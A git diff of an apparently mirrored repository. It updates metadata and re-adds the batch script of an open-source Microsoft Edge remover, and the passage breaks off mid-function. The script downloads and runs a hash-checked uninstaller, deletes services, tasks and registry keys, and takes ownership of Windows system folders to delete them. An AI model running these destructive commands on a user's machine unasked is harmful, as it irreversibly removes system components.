diff --git a/Development & Scripting Tools/AveYo--MediaCreationTool.bat/.upstream_metadata.json b/Development & Scripting Tools/AveYo--MediaCreationTool.bat/.upstream_metadata.json index 0c589e83..4589e843 100644 --- a/Development & Scripting Tools/AveYo--MediaCreationTool.bat/.upstream_metadata.json +++ b/Development & Scripting Tools/AveYo--MediaCreationTool.bat/.upstream_metadata.json @@ -1,7 +1,7 @@ -{ - "repository": "AveYo/MediaCreationTool.bat", - "url": "https://github.com/AveYo/MediaCreationTool.bat", - "last_updated": "2026-06-15T23:04:19.429679", - "stars": "10234", - "description": "Universal MCT wrapper script for all Windows 10/11 versions from 1507 to 21H2!" +{ + "repository": "AveYo/MediaCreationTool.bat", + "url": "https://github.com/AveYo/MediaCreationTool.bat", + "last_updated": "2026-10-07T09:20:03.384094", + "stars": "10234", + "description": "Universal MCT wrapper script for all Windows 10/11 versions from 1507 to 21H2!" } \ No newline at end of file diff --git a/Development & Scripting Tools/ShadowWhisperer--Remove-MS-Edge/.upstream_metadata.json b/Development & Scripting Tools/ShadowWhisperer--Remove-MS-Edge/.upstream_metadata.json index 6f95172b..8389cecc 100644 --- a/Development & Scripting Tools/ShadowWhisperer--Remove-MS-Edge/.upstream_metadata.json +++ b/Development & Scripting Tools/ShadowWhisperer--Remove-MS-Edge/.upstream_metadata.json @@ -1,7 +1,7 @@ { "repository": "ShadowWhisperer/Remove-MS-Edge", "url": "https://github.com/ShadowWhisperer/Remove-MS-Edge", - "last_updated": "2026-06-15T23:04:21.774865", + "last_updated": "2026-10-07T09:20:04.397134", "stars": "5203", "description": "Uninstall Microsoft Edge with an executable or batch script." } \ No newline at end of file diff --git a/Development & Scripting Tools/ShadowWhisperer--Remove-MS-Edge/Batch/Both.bat b/Development & Scripting Tools/ShadowWhisperer--Remove-MS-Edge/Batch/Both.bat index fdc7f02b..d304b63b 100644 --- a/Development & Scripting Tools/ShadowWhisperer--Remove-MS-Edge/Batch/Both.bat +++ b/Development & Scripting Tools/ShadowWhisperer--Remove-MS-Edge/Batch/Both.bat @@ -1,878 +1,878 @@ -@echo off & setlocal -REM land "clever" users back to native env (Win Vista and up; start /b not used due to some oddities) -if defined PROCESSOR_ARCHITEW6432 "%WinDir%\SysNative\cmd.exe" /c ""%~0" %*" & exit /b 0 - -REM -REM Check permissions and elevate if required -REM Obtain required files (from cache or from repo with hash validation) -REM Remove Edge -REM Remove WebView -REM Remove AppX -REM Remove Edge remains -REM Remove WebView remains -REM Remove AppX remains -REM Remove Extras -REM - -set "ISSUE_GENERIC=1" -set "ISSUE_UAC=2" -set "ISSUE_NETWORK=3" -set "ISSUE_DOWNLOAD=4" -set "ISSUE_HASH=5" -set "ISSUE_ARCH=6" - -REM check for architecture (x86 and amd64 are supported, arm - not) -if /i "%PROCESSOR_ARCHITECTURE%" equ "amd64" goto arch.pass -if /i "%PROCESSOR_ARCHITECTURE%" equ "x86" goto arch.pass -echo "%PROCESSOR_ARCHITECTURE%" platform is unsupported & echo. & pause & exit /b %ISSUE_ARCH% -:arch.pass - -set "SCRIPT_VERSION=11/26/2025" -REM set logging verbosity ( log_lvl.none, log_lvl.errors, log_lvl.debug ) -REM also set elevated cmd mode (%ecm% var; /c or /k ) -REM log_lvl.debug checks for argument, but due to the call, batch args "hidden", so pass it -call :log_lvl.debug "%~1" - -title Edge Remover - %SCRIPT_VERSION% -echo [main_script.start] %bat_dbg% - - - -echo [uac()] %bat_dbg% -REM Get executor SID (Win 2003(XP x64) and up) -for /f "skip=1 tokens=1,2 delims=," %%a in ('whoami /user /fo csv') do set "EXEC_SID=%%~b" -REM When script elevates itself, the user SID should be passed as 1st argument (bad input here is not my fault) -set "USER_SID=%~1" -REM Check Admin permissions -net session >NUL 2>&1 -echo err: %errorlevel%; EXEC_SID: "%EXEC_SID%"; USER_SID: "%USER_SID%" %bat_dbg% -if %errorlevel% equ 0 goto uac.success -REM When UAC disabled, elevation not works and SID never changes -if /i "%EXEC_SID%" equ "%USER_SID%" ( - echo Please, enable UAC and try again & echo. & pause & exit /b %ISSUE_UAC% -) -REM When 1st arg looks like valid NT_AUTHORITY SID, assume elevation by script (prevent infinite loop aka UAC bombing) -if /i "%USER_SID:~0,6%" equ "S-1-5-" ( - REM DO NOT put on the same line as condition: using another var after substring when its source is empty leads to hard fail - echo Built-in Admin account possibly corrupted & echo. & pause & exit /b %ISSUE_UAC% -) -REM Elevate with psl (don't try go around cmd /c, there are 3 reasons for this) -REM quotes levels │┌┤ ├┐│ │ ┌┤┌┤ ├┐ ┌┤ ├┐├┐│ -REM quotes open-closing(pipe) <>< ><> < ><>< >< >< ><><> -echo Start-Process -Verb RunAs """$env:COMSpec""" "%ecm% """"%~0"" ""%EXEC_SID%"""""|powershell -noprofile - %bat_log% -echo [uac().elevated] err: "%errorlevel%" %bat_dbg% -exit /b %errorlevel% - -REM Admin permissions granted, executor SID may be a SID of Built-in Admin account if it's enabled -:uac.success -echo [uac().success] %bat_dbg% -REM 1st arg looks like valid rev.1 SID (assume elevation by script) -if /i "%USER_SID:~0,4%" equ "S-1-" goto uac.done -REM 1st arg does not look like valid SID (elevation NOT by script) -set "USER_SID=%EXEC_SID%" -REM When Built-in Admin account disabled, SID does not change on elevation and usually match the condition -if "%EXEC_SID:~-4%" neq "-500" goto uac.done -REM For automaters: when Built-in Admin account enabled, specify "-auto" as 1st argument to bypass confirmation -if /i "%~1" equ "-auto" goto uac.done -REM Built-in Admin account enabled and script not self elevated nor automated -choice /c yn /n /m "Logged as Admin? [Y,N]" -REM Check for positive answer, anything else considered as No -echo answer: %errorlevel% %bat_dbg% -if %errorlevel% equ 1 goto uac.done -echo Please, run script without elevation & echo. & pause & exit /b %ISSUE_UAC% - -:uac.done -echo [uac().done] %bat_dbg% - - - -set "has_net=0" -ipconfig | find "IPv" >NUL 2>&1 -if %errorlevel% equ 0 set "has_net=1" -echo has network: %has_net% %bat_dbg% - -REM prepare architecture-depend stuff -REM note: name of such files are arch-less on usage -REM in case of setup.exe it's just for simplicity/consistency -REM in case of sqlite.dll it's required, otherwise "dll not found" error pops out on usage -REM files stored with arch-rich names(better for offline scenario), then hardlinks with arch-less names created -echo - Obtaining required files -echo [prepare()] %bat_dbg% -goto prepare.%PROCESSOR_ARCHITECTURE% - - -:prepare.amd64 -echo [prepare().amd64] %bat_dbg% - -set "x86ProgramsFolder=%ProgramFiles(x86)%" - -call :file_obtain^ - "setup.x64.exe"^ - "0950336e0d633eb645e0cf66780d2102a182caa184264d4f62146fe229f636e7"^ - "https://raw.githubusercontent.com/ShadowWhisperer/Remove-MS-Edge/main/_Source/setup.x64.exe"^ - "file_setup_loc"^ - %bat_log% -if %errorlevel% neq 0 echo Cannot obtain "setup.exe" (%errorinfo%) & echo. & pause & exit /b %errorlevel% - -call :file_obtain^ - "System.Data.SQLite.x64.dll"^ - "1b3742c5bd1b3051ae396c6e62d1037565ca0cbbedb35b460f7d10a70c30376f"^ - "https://raw.githubusercontent.com/ShadowWhisperer/Remove-MS-Edge/main/_Source/System.Data.SQLite.x64.dll"^ - "file_SQLite_loc"^ - %bat_log% -if %errorlevel% neq 0 echo Cannot obtain "System.Data.SQLite.dll" (%errorinfo%) & echo. & pause & exit /b %errorlevel% - -REM prepare names for hardlinks -REM it made so, cuz files has several possible storage locations (%dp0 or %Temp%) -REM which one will be in use is unknown -set "file_setup=%file_setup_loc:.x64.=.%" -set "file_SQLite=%file_SQLite_loc:.x64.=.%" - -goto prepare.end - - -:prepare.x86 -echo [prepare().x86] %bat_dbg% - -set "x86ProgramsFolder=%ProgramFiles%" - -REM Thanks to @Ameterius for the 32bit setup.exe -call :file_obtain^ - "setup.x86.exe"^ - "97935c67fe17c388cff6c498b565130f9262ea9518150303fff08576c67cfd9d"^ - "https://raw.githubusercontent.com/ShadowWhisperer/Remove-MS-Edge/main/_Source/setup.x86.exe"^ - "file_setup_loc"^ - %bat_log% -if %errorlevel% neq 0 echo Cannot obtain "setup.exe" (%errorinfo%) & echo. & pause & exit /b %errorlevel% - -call :file_obtain^ - "System.Data.SQLite.x86.dll"^ - "845f7cbae72cf0a09a7f8740029ea9a15cb3a51c0b883b67b6ff1fc15fb26729"^ - "https://raw.githubusercontent.com/ShadowWhisperer/Remove-MS-Edge/main/_Source/System.Data.SQLite.x86.dll"^ - "file_SQLite_loc"^ - %bat_log% -if %errorlevel% neq 0 echo Cannot obtain "System.Data.SQLite.dll" (%errorinfo%) & echo. & pause & exit /b %errorlevel% - -REM prepare hardlinks names -set "file_setup=%file_setup_loc:.x86.=.%" -set "file_SQLite=%file_SQLite_loc:.x86.=.%" - -goto prepare.end - -:prepare.end -echo [prepare().end] %bat_dbg% -REM delete possibly existing files of previous version or links, remained from hard failure -del /f /q "%file_setup%" %bat_log% -del /f /q "%file_SQLite%" %bat_log% -REM create new hardlinks (will looks like real files) -fsutil hardlink create "%file_setup%" "%file_setup_loc%" %bat_log% -fsutil hardlink create "%file_SQLite%" "%file_SQLite_loc%" %bat_log% - -echo x86ProgramsFolder: %x86ProgramsFolder% %bat_dbg% -echo [prepare().done] %bat_dbg% - - - -REM Edge uninstalling removes its package as well -REM but package name required for cleanup, so -REM query packages by pattern before Edge uninstalling -echo query packages %bat_dbg% -set "pkgs_pattern=*microsoftedge*" -for /f "delims=" %%p in ('powershell -noprofile -c "$pkgs='';foreach($pkg in (Get-AppxPackage -AllUsers).Where({$_.PackageFullName -like $env:pkgs_pattern})){$pkgs+=' '+[int]$pkg.NonRemovable+$pkg.PackageFullName}$pkgs.Trim()"') do ( - set "pkgs_list=%%~p" -) -echo "%pkgs_list%" %bat_dbg% -echo packages queried %bat_dbg% - - - -%stp_dbg_rst% - - - -REM #Uninstall -echo [uninstall()] %bat_dbg% -echo - Removing Edge -echo [uninstall().edge.init] %bat_dbg% -where "%x86ProgramsFolder%\Microsoft\Edge\Application:*" %bat_log% -if %errorlevel% neq 0 goto uninstall.edge.done - -echo [uninstall().edge] %bat_dbg% -taskkill /im MicrosoftEdgeUpdate.exe /f /t %bat_log% -start /w "" "%file_setup%" --uninstall --system-level --force-uninstall %stp_dbg_arg% %bat_log% -%stp_dbg_get% - -:uninstall.edge.done -echo [uninstall().edge.done] %bat_dbg% - - -echo - Removing WebView -echo [uninstall().webview.init] %bat_dbg% -where "%x86ProgramsFolder%\Microsoft\EdgeWebView\Application:*" %bat_log% -if %errorlevel% neq 0 goto uninstall.webview.done - -echo [uninstall().webview] %bat_dbg% -start /w "" "%file_setup%" --uninstall --msedgewebview --system-level --force-uninstall %stp_dbg_arg% %bat_log% -%stp_dbg_get% - -:uninstall.webview.done -echo [uninstall().webview.done] %bat_dbg% - - -echo - Removing WebView (evergreen) -echo [uninstall().webview.evergreen.init] %bat_dbg% -if not exist "%LOCALAPPDATA%\Microsoft\EdgeWebView\Application\" goto uninstall.webview.evergreen.done - -echo [uninstall().webview.evergreen] %bat_dbg% -for /f "delims=" %%d in ('dir /b /ad "%LOCALAPPDATA%\Microsoft\EdgeWebView\Application" 2^>NUL') do ( - if exist "%LOCALAPPDATA%\Microsoft\EdgeWebView\Application\%%~d\Installer\setup.exe" ( - start /w "" "%LOCALAPPDATA%\Microsoft\EdgeWebView\Application\%%~d\Installer\setup.exe" --uninstall --msedgewebview --force-uninstall %stp_dbg_arg% %bat_log% - %stp_dbg_get% - ) -) - -echo - Removing AppX -echo [uninstall().appx.init] %bat_dbg% -set "LOC_APPREPO_DB=%AllUsersProfile%\Microsoft\Windows\AppRepository\StateRepository-Machine.srd" -set "REG_USERS_PATH=HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList" -set "REG_APPX_STORE=HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore" -set "REG32_APPX_STORE=HKLM\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore" - -set "reg_SFT_paths_scn=" -set "reg_CLS_paths_scn=" -REM Registry locations for scan and remove appx keys, max length after batch vars expanding - 8167(8191 - 24; 24 - "set "reg_???_paths_scn="") -REM delimiter is \\, any other chars is allowed in key name; values can contains even backslash -REM scan is recursive and searches for keys, which names matches two patterns: PackageName_* and *_PublisherId - -REM reg_SFT_paths_scn - is only for keys located under HIVE\SOFTWARE key -REM HIVE\SOFTWARE\ part should be excluded from path -echo [uninstall().appx.init.reg_SFT] %bat_dbg% -set "reg_SFT_paths_scn=%reg_SFT_paths_scn%\\Microsoft\SecurityManager\CapAuthz\ApplicationsEx" %bat_log% -set "reg_SFT_paths_scn=%reg_SFT_paths_scn%\\Microsoft\Windows\CurrentVersion\AppHost\IndexedDB" %bat_log% -set "reg_SFT_paths_scn=%reg_SFT_paths_scn%\\Microsoft\Windows\CurrentVersion\BackgroundAccessApplications" %bat_log% -set "reg_SFT_paths_scn=%reg_SFT_paths_scn%\\Microsoft\Windows\CurrentVersion\PushNotifications\Backup" %bat_log% -set "reg_SFT_paths_scn=%reg_SFT_paths_scn%\\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\Capabilities" %bat_log% -set "reg_SFT_paths_scn=%reg_SFT_paths_scn%\\Microsoft\Windows\CurrentVersion\CapabilityAccessManager\ConsentStore" %bat_log% -set "reg_SFT_paths_scn=%reg_SFT_paths_scn%\\Microsoft\Windows NT\CurrentVersion\BackgroundModel\PreInstallTasks\RequireReschedule" %bat_log% -REM reg_CLS_paths_scn - is only for keys located under HIVE\SOFTWARE\Classes key -REM HIVE\SOFTWARE\Classes\ part should be excluded from path (for user profile hives it's a symlink, for internal - a real key) -echo [uninstall().appx.init.reg_CLS] %bat_dbg% -set "reg_CLS_paths_scn=%reg_CLS_paths_scn%\\ActivatableClasses\Package" %bat_log% -set "reg_CLS_paths_scn=%reg_CLS_paths_scn%\\Extensions\ContractId" %bat_log% -set "reg_CLS_paths_scn=%reg_CLS_paths_scn%\\Local Settings\MrtCache" %bat_log% -set "reg_CLS_paths_scn=%reg_CLS_paths_scn%\\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\PolicyCache" %bat_log% -set "reg_CLS_paths_scn=%reg_CLS_paths_scn%\\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData" %bat_log% - -echo [uninstall().appx] %bat_dbg% -call :appx_unlock_and_delete %bat_log% - -echo [uninstall().appx.done] %bat_dbg% - -echo [uninstall().end] %bat_dbg% - - - -REM #Cleanup -echo [cleanup()] %bat_dbg% -echo - Cleaning Edge remains -echo [cleanup().edge] %bat_dbg% - -REM Delete Edge empty folders -echo [cleanup().edge.dirs] %bat_dbg% -rd /s /q "%x86ProgramsFolder%\Microsoft\Edge" %bat_log% -rd /s /q "%x86ProgramsFolder%\Microsoft\EdgeCore" %bat_log% -rd /s /q "%x86ProgramsFolder%\Microsoft\EdgeUpdate" %bat_log% -rd /s /q "%x86ProgramsFolder%\Microsoft\Temp" %bat_log% -rd /s /q "%AllUsersProfile%\Microsoft\EdgeUpdate" %bat_log% - -REM Delete Edge Update Tasks -echo [cleanup().edge.tasks] %bat_dbg% -for /f "tokens=1 delims=," %%n in ('schtasks /query /fo csv') do ( call :task_remove "%%~n" %bat_log% ) - -REM Delete Edge Update Services -echo [cleanup().edge.services] %bat_dbg% -set "service_names=edgeupdate edgeupdatem microsoftedgeelevationservice" -for %%n in (%service_names%) do ( call :service_remove "%%~n" %bat_log% ) - -REM Delete Desktop, StartMenu and TaskBar shortcuts; cleanup user registry -echo [cleanup().edge.users] %bat_dbg% -for /f "skip=2 tokens=2*" %%c in ('reg query "%REG_USERS_PATH%" /v Public') do ( call :user_lnks_remove_by_path "%%~d" %bat_log% ) -del /f /q "%AllUsersProfile%\Microsoft\Windows\Start Menu\Programs\Microsoft Edge.lnk" %bat_log% -for /f "skip=2 tokens=2*" %%c in ('reg query "%REG_USERS_PATH%" /v Default') do ( - call :user_lnks_remove_by_path "%%~d" %bat_log% - call :user_reg_cleanup .DEFAULT "%%~d" %bat_log% -) -for /f "skip=1 tokens=7 delims=\" %%k in ('reg query "%REG_USERS_PATH%" /k /f "*"') do ( call :user_cleanup_by_sid %%k %bat_log% ) - -echo [cleanup().edge.done] %bat_dbg% - - -echo - Cleaning WebView remains -echo [cleanup().webview] %bat_dbg% - -REM Delete WebView empty folders -echo [cleanup().webview.dirs] %bat_dbg% -rd /s /q "%x86ProgramsFolder%\Microsoft\EdgeWebView" %bat_log% - -echo [cleanup().webview.done] %bat_dbg% - - -echo - Cleaning AppX remains -echo [cleanup().appx] %bat_dbg% -REM Delete remained packages -REM %SystemRoot%\SystemApps\Microsoft.MicrosoftEdge* -echo [cleanup().appx.SystemApps] %bat_dbg% -for /d %%d in ("%SystemRoot%\SystemApps\Microsoft.MicrosoftEdge*") do ( - echo dir: "%%~d" %bat_dbg% - takeown /f "%%~d" /r /d y %bat_dbg% - icacls "%%~d" /grant "%UserName%:F" /t /c %bat_dbg% - rd /s /q "%%~d" %bat_log% -) -REM %ProgramFiles%\WindowsApps\Microsoft.MicrosoftEdge* -echo [cleanup().appx.WindowsApps] %bat_dbg% -for /d %%d in ("%ProgramFiles%\WindowsApps\Microsoft.MicrosoftEdge*") do ( - echo dir: "%%~d" %bat_dbg% - takeown /f "%%~d" /r /d y %bat_dbg% - icacls "%%~d" /grant "%UserName%:F" /t /c %bat_dbg% - rd /s /q "%%~d" %bat_log% -) - -echo [cleanup().appx.done] %bat_dbg% - -echo [cleanup().end] %bat_dbg% - - - -REM #Additional Data -echo - Removing additional data -echo [extra_cleanup()] %bat_dbg% -REM Registry -echo [extra_cleanup().registry.regular] %bat_dbg% -reg delete "HKLM\SOFTWARE\Classes\AppID\MicrosoftEdgeUpdate.exe" /f %bat_log% -reg delete "HKLM\SOFTWARE\Classes\AppID\{1FCBE96C-1697-43AF-9140-2897C7C69767}" /f %bat_log% -reg delete "HKLM\SOFTWARE\Microsoft\Active Setup\Installed Components\{9459C573-B17A-45AE-9F64-1857B5D58CEE}" /f %bat_log% -reg delete "HKLM\SOFTWARE\Microsoft\Edge" /f %bat_log% -reg delete "HKLM\SOFTWARE\Microsoft\EdgeUpdate" /f %bat_log% -reg delete "HKLM\SOFTWARE\Microsoft\MicrosoftEdge" /f %bat_log% -reg delete "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\MicrosoftEdgeUpdate.exe" /f %bat_log% -reg delete "HKLM\SOFTWARE\Microsoft\Internet Explorer\EdgeDebugActivation" /f %bat_log% -reg delete "HKLM\SOFTWARE\Microsoft\Internet Explorer\EdgeIntegration" /f %bat_log% -reg delete "HKLM\SOFTWARE\WOW6432Node\Microsoft\Edge" /f %bat_log% -reg delete "HKLM\SOFTWARE\WOW6432Node\Microsoft\EdgeUpdate" /f %bat_log% -reg delete "HKLM\SOFTWARE\WOW6432Node\Microsoft\MicrosoftEdge" /f %bat_log% - -set "reg_HKLM_keys_del=" -REM Keys for TakeOwn+FullControl and deleting, max length after batch vars expanding - 8167(8191 - 24; 24 - "set "reg_HKLM_keys_del="") -REM delimiter is \\, any other chars is allowed in key name; values can contains even backslash -echo [extra_cleanup().registry.inaccessible.init] %bat_dbg% -set "reg_HKLM_keys_del=%reg_HKLM_keys_del%\\SOFTWARE\Microsoft\Windows\CurrentVersion\MicrosoftEdge" %bat_log% -set "reg_HKLM_keys_del=%reg_HKLM_keys_del%\\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\MicrosoftEdge" %bat_log% -set "reg_HKLM_keys_del=%reg_HKLM_keys_del%\\SOFTWARE\Microsoft\WindowsRuntime\Server\Windows.Internal.WebRuntime.BCHostServer" %bat_log% -set "reg_HKLM_keys_del=%reg_HKLM_keys_del%\\SOFTWARE\Microsoft\WindowsRuntime\Server\Windows.Internal.WebRuntime.ContentProcessServer" %bat_log% -set "reg_HKLM_keys_del=%reg_HKLM_keys_del%\\SOFTWARE\Microsoft\WindowsRuntime\Server\Windows.Internal.WebRuntime.F12Server" %bat_log% - -echo [extra_cleanup().registry.inaccessible] %bat_dbg% -call :reg_HKLM_keys_access_and_delete %bat_log% - -REM System32 -echo [extra_cleanup().files.System32] %bat_dbg% -for %%f in ("%SystemRoot%\System32\MicrosoftEdge*.exe") do ( - echo file: "%%~f" %bat_dbg% - takeown /f "%%~f" %bat_log% - icacls "%%~f" /grant "%UserName%:F" /c %bat_log% - del /f /q "%%~f" %bat_log% -) - - -REM Malformed Keys -echo - Fixing registry -echo [extra_cleanup().registry.fix] %bat_dbg% -setlocal EnableDelayedExpansion -set "reg_path=HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Appx\AppxAllUserStore" -for /f "tokens=*" %%k in ('reg query "%reg_path%" /s 2^>NUL ^| findstr /b /i "%reg_path%"') do ( - set "full_key=%%k" - set "delete_key=false" - set "reason=" - for %%a in ("!full_key!") do set "key_name=%%~nxa" - REM Skip empty or unchanged names - if "!key_name!"=="" ( - set "reason=empty key name" - ) else if "!key_name!"=="!full_key!" ( - set "reason=key name same as full path" - ) else ( - REM Check for space - set "spaced_key=!key_name: =!" - if not "!key_name!"=="!spaced_key!" ( - set "delete_key=true" - ) else ( - REM Check for letters - echo /7 - !key_name! | findstr /r /c:"[a-zA-Z]" >NUL - if !errorlevel! neq 0 set "delete_key=true" - ) - ) - if "!delete_key!"=="true" reg delete "!full_key!" /f >nul 2>&1 -) -endlocal - - -echo [extra_cleanup().end] %bat_dbg% - - - -REM Main script end -echo - Edge removal complete -echo [main_script.end] %bat_dbg% -REM remove hardlinks -del /f /q "%file_setup%" %bat_log% -del /f /q "%file_SQLite%" %bat_log% -echo [main_script.done] %bat_dbg% -exit /b 0 - - - -REM ===== Functions ===== - -REM labels, starts with underscore( _ ), are for internal usage and should not be called from main script -REM labels, starts with regular symbol, are public functions and can be called from main script - - -REM levels of logging verbosity - -:log_lvl.none -REM release mode -set "bat_log=>NUL 2>&1" -set "bat_dbg=>NUL 2>&1" -set "cll_dbg=%bat_dbg%" -set "psl_dbg=*^^^>$null" -set "for_psl_dbg=*^^^^^^^>$null" -REM set "for_psl_dbg_hlpr=" -REM power_hell(even 7.5) put errors to stdout if stderr not redirected -set "for_out_hlpr=2^>NUL" -REM set "for_out_get=" -REM set "for_out_del=" -REM all output mutes so there nothing in console -set "ecm=/c" -REM set "stp_dbg_arg=" -REM set "stp_dbg_get=" -REM set "stp_dbg_rst=" -exit /b 0 - -:log_lvl.errors -REM errors only -set "bat_log=>NUL" -set "bat_dbg=>NUL 2>&1" -set "cll_dbg=%bat_dbg%" -set "psl_dbg=*^^^>$null" -set "for_psl_dbg=*^^^^^^^>$null" -REM set "for_psl_dbg_hlpr=" -set "for_out_hlpr=2^>"%~dpn0_hlpr.log"" -set "for_out_get=1>&2(echo [for.cmd.errors] & type "%~dpn0_hlpr.log" & echo [for.cmd.end])" -set "for_out_del=del /f /q "%~dpn0_hlpr.log" >NUL 2>&1" -set "ecm=/k" -REM set "stp_dbg_arg=" -REM set "stp_dbg_get=" -REM set "stp_dbg_rst=" -exit /b 0 - -:log_lvl.debug -REM debug mode, put all output to file(except user-trageted output) -set "bat_log=>>"%~dpn0_dbg.log" 2>&1" -set "bat_dbg=>>"%~dpn0_dbg.log" 2>&1" -REM resolves issue with accessing log file from sub-routines -REM set "cll_dbg=" -REM set "psl_dbg=" -REM redirect debug to stderr -REM it can works without extra file but it's a quirk -set "for_psl_dbg=^^^^^^^|dbg2err" -set "for_psl_dbg_hlpr=function dbg2err^([Parameter^(ValueFromPipeline^)]$m^){process{[Console]::Error.WriteLine^($m^)}}" -set "for_out_hlpr=2^>"%~dpn0_hlpr.log"" -set "for_out_get=echo [for.cmd] & type "%~dpn0_hlpr.log" & echo [for.cmd.end]" -set "for_out_del=del /f /q "%~dpn0_hlpr.log" >NUL 2>&1" -REM all output redirected to file except batch errors -set "ecm=/k" -set "stp_dbg_arg=--verbose-logging" -REM uninstaller log grabber -set "stp_dbg_get=type "%Temp%\msedge_installer.log" %bat_dbg% & type NUL>"%Temp%\msedge_installer.log"" -REM reset existing log -set "stp_dbg_rst=type NUL>"%Temp%\msedge_installer.log"" -REM resolves issue with accessing log file on elevation -timeout /t 1 /nobreak >NUL 2>&1 -REM reset log file if this is not elevation re-run (bad check, cuz someone may pass an argument) -if "%~1" equ "" echo %~nx0 %SCRIPT_VERSION% >"%~dpn0_dbg.log" -if /i "%~1" equ "-auto" echo %~nx0 %SCRIPT_VERSION% >"%~dpn0_dbg.log" -exit /b 0 - - -REM check script and %tmp% directories for file, check file hash, (re-)download from URL if required -REM if file successfully validated its full path will be stored to variable -REM arguments: file name, file hash, file URL and variable name in this exact order -REM return result as exit code -:file_obtain -echo [file_obtain()] %cll_dbg% -echo name: "%~1" %cll_dbg% -echo hash: "%~2" %cll_dbg% -echo url: "%~3" %cll_dbg% -echo var: "%~4" %cll_dbg% -if "%~1" equ "" goto _file_obtain.fail -if "%~2" equ "" goto _file_obtain.fail -if "%~3" equ "" goto _file_obtain.fail -if "%~4" equ "" goto _file_obtain.fail - -set "on_hash_err=download" -set "file_path=%~dp0%~1" -if exist "%file_path%" goto _file_obtain.check -set "file_path=%tmp%\%~1" -if exist "%file_path%" goto _file_obtain.check - -echo file not cached %cll_dbg% - -:_file_obtain.download -if %has_net% equ 0 goto _file_obtain.net.fail - -echo [file_obtain().download] %cll_dbg% -set "on_hash_err=check.fail" -powershell -noprofile -c "[Net.WebClient]::new().DownloadFile('%~3', '%file_path%')" -if %errorlevel% neq 0 goto _file_obtain.download.fail -if not exist "%file_path%" goto _file_obtain.download.fail - -:_file_obtain.check -echo [file_obtain().check] "%file_path%"; on_hash_err: "%on_hash_err%" %cll_dbg% -powershell -noprofile -c "Import-Module Microsoft.PowerShell.Utility; exit ((Get-FileHash '%file_path%' -Algorithm SHA256).Hash.ToLower() -ne '%~2')" -if %errorlevel% neq 0 goto _file_obtain.%on_hash_err% - -set "%~4=%file_path%" -echo [file_obtain().done] %cll_dbg% -exit /b 0 - -:_file_obtain.fail -set "errorinfo=%ISSUE_GENERIC%: generic" -echo [file_obtain().fail] %cll_dbg% -exit /b %ISSUE_GENERIC% - -:_file_obtain.net.fail -set "errorinfo=%ISSUE_NETWORK%: no network" -echo [file_obtain().net.fail] %cll_dbg% -exit /b %ISSUE_NETWORK% - -:_file_obtain.download.fail -set "errorinfo=%ISSUE_DOWNLOAD%: download error" -echo [file_obtain().download.fail] %cll_dbg% -exit /b %ISSUE_DOWNLOAD% - -:_file_obtain.check.fail -set "errorinfo=%ISSUE_HASH%: hash mismatch" -echo [file_obtain().check.fail] %cll_dbg% -exit /b %ISSUE_HASH% - - -REM remove task by name if name match pattern -:task_remove -set "task_name=%~1" -if "%task_name:~0,1%" neq "\" goto _task_remove.end -if /i "%task_name:\MicrosoftEdge=%" equ "%task_name%" goto _task_remove.end -echo [task_remove()] "%task_name%" %cll_dbg% -schtasks /end /tn "%task_name%" -schtasks /delete /tn "%task_name%" /f -del /f /q "%SystemRoot%\System32\Tasks%task_name%" -echo [task_remove().end] %cll_dbg% - -:_task_remove.end -exit /b 0 - - -REM remove service by name -:service_remove -echo [service_remove()] "%~1" %cll_dbg% -sc stop "%~1" -if %errorlevel% equ 1060 goto _service_remove.end -sc delete "%~1" -reg delete "HKLM\SYSTEM\CurrentControlSet\Services\%~1" /f -echo service removed %cll_dbg% - -:_service_remove.end -echo [service_remove().end] %cll_dbg% -exit /b 0 - - -REM retrieve location of user profile by user SID -REM call shortcuts removing -REM call cleanup of user registry -:user_cleanup_by_sid -echo [user_cleanup_by_sid()] "%1" %cll_dbg% -if /i "%1" equ "S-1-5-18" goto _user_cleanup_by_sid.end -if /i "%1" equ "S-1-5-19" goto _user_cleanup_by_sid.end -if /i "%1" equ "S-1-5-20" goto _user_cleanup_by_sid.end - -echo accepted %cll_dbg% -for /f "skip=2 tokens=2*" %%c in ('reg query "%REG_USERS_PATH%\%1" /v ProfileImagePath') do ( set "profile_path=%%~d" ) -call :user_lnks_remove_by_path "%profile_path%" -call :user_reg_cleanup %1 "%profile_path%" - -:_user_cleanup_by_sid.end -echo [user_cleanup_by_sid().end] %cll_dbg% -exit /b 0 - -REM remove shortcuts from several locations of user profile -:user_lnks_remove_by_path -echo [user_lnks_remove_by_path()] "%~1" %cll_dbg% -del /f /q "%~1\Desktop\edge.lnk" -del /f /q "%~1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\edge.lnk" -del /f /q "%~1\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\edge.lnk" -del /f /q "%~1\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\edge.lnk" -del /f /q "%~1\Desktop\Microsoft Edge.lnk" -del /f /q "%~1\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Microsoft Edge.lnk" -del /f /q "%~1\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\Microsoft Edge.lnk" -del /f /q "%~1\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\User Pinned\TaskBar\Microsoft Edge.lnk" - -echo [user_lnks_remove_by_path().end] %cll_dbg% -exit /b 0 - -REM remove some registry keys -REM arguments: user SID and user profile dir path in this exact order -:user_reg_cleanup -echo [user_reg_cleanup()] %cll_dbg% -echo SID: "%1" %cll_dbg% -echo path: "%~2" %cll_dbg% - -echo prepare main hive %cll_dbg% -reg query "HKU\%1" /ve -if %errorlevel% neq 0 reg load "HKU\%1" "%~2\NTUSER.DAT" -if %errorlevel% neq 0 echo main hive load fail %cll_dbg% & goto _user_reg_cleanup.sft.done -echo main hive ready %cll_dbg% - -echo cleanup main hive %cll_dbg% -reg delete "HKU\%1\SOFTWARE\Microsoft\Edge" /f -reg delete "HKU\%1\SOFTWARE\Microsoft\EdgeUpdate" /f 